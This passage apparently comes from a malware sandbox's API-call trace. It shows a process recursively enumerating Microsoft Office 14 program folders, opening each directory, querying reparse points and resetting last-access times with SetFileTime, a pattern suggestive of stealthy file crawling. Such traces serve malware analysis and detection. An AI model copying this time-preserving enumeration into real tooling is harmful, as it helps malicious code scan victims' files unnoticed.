dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.832] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.832] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.832] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459bb8 [0055.832] GetLastError () returned 0x12 [0055.832] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.832] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.832] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.833] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.833] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.833] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.836] GetLastError () returned 0x12 [0055.836] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0055.836] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.836] GetLastError () returned 0x12 [0055.836] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.837] GetLastError () returned 0x12 [0055.837] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove" (normalized: "c:\\program files\\microsoft office\\office14\\groove"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove" (normalized: "c:\\program files\\microsoft office\\office14\\groove"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.838] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.838] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.838] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.839] GetLastError () returned 0x12 [0055.839] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0055.839] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.840] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.840] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.841] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.841] GetLastError () returned 0x12 [0055.841] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.841] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.841] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.844] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.844] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.844] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0055.845] GetLastError () returned 0x12 [0055.845] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459d38 [0055.845] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.845] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.848] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.848] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.848] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.848] GetLastError () returned 0x12 [0055.848] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.848] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.848] GetLastError () returned 0x12 [0055.848] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.850] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.850] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.850] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.850] GetLastError () returned 0x12 [0055.850] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.850] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.850] GetLastError () returned 0x12 [0055.850] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.851] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.851] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.851] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.851] GetLastError () returned 0x12 [0055.851] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.851] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.851] GetLastError () returned 0x12 [0055.851] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.851] GetLastError () returned 0x12 [0055.851] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.851] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.852] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.852] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.853] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459d38 [0055.853] GetLastError () returned 0x12 [0055.853] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c38 [0055.853] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.853] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.853] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.853] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.853] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459d38 [0055.855] GetLastError () returned 0x12 [0055.855] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.855] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.856] GetLastError () returned 0x12 [0055.856] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.856] GetLastError () returned 0x12 [0055.856] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.856] GetLastError () returned 0x12 [0055.857] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.858] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.858] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.858] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.858] GetLastError () returned 0x12 [0055.858] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.858] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.858] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.859] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.859] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.859] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459bb8 [0055.861] GetLastError () returned 0x12 [0055.861] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0055.861] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.861] GetLastError () returned 0x12 [0055.861] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.862] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.863] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.863] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, 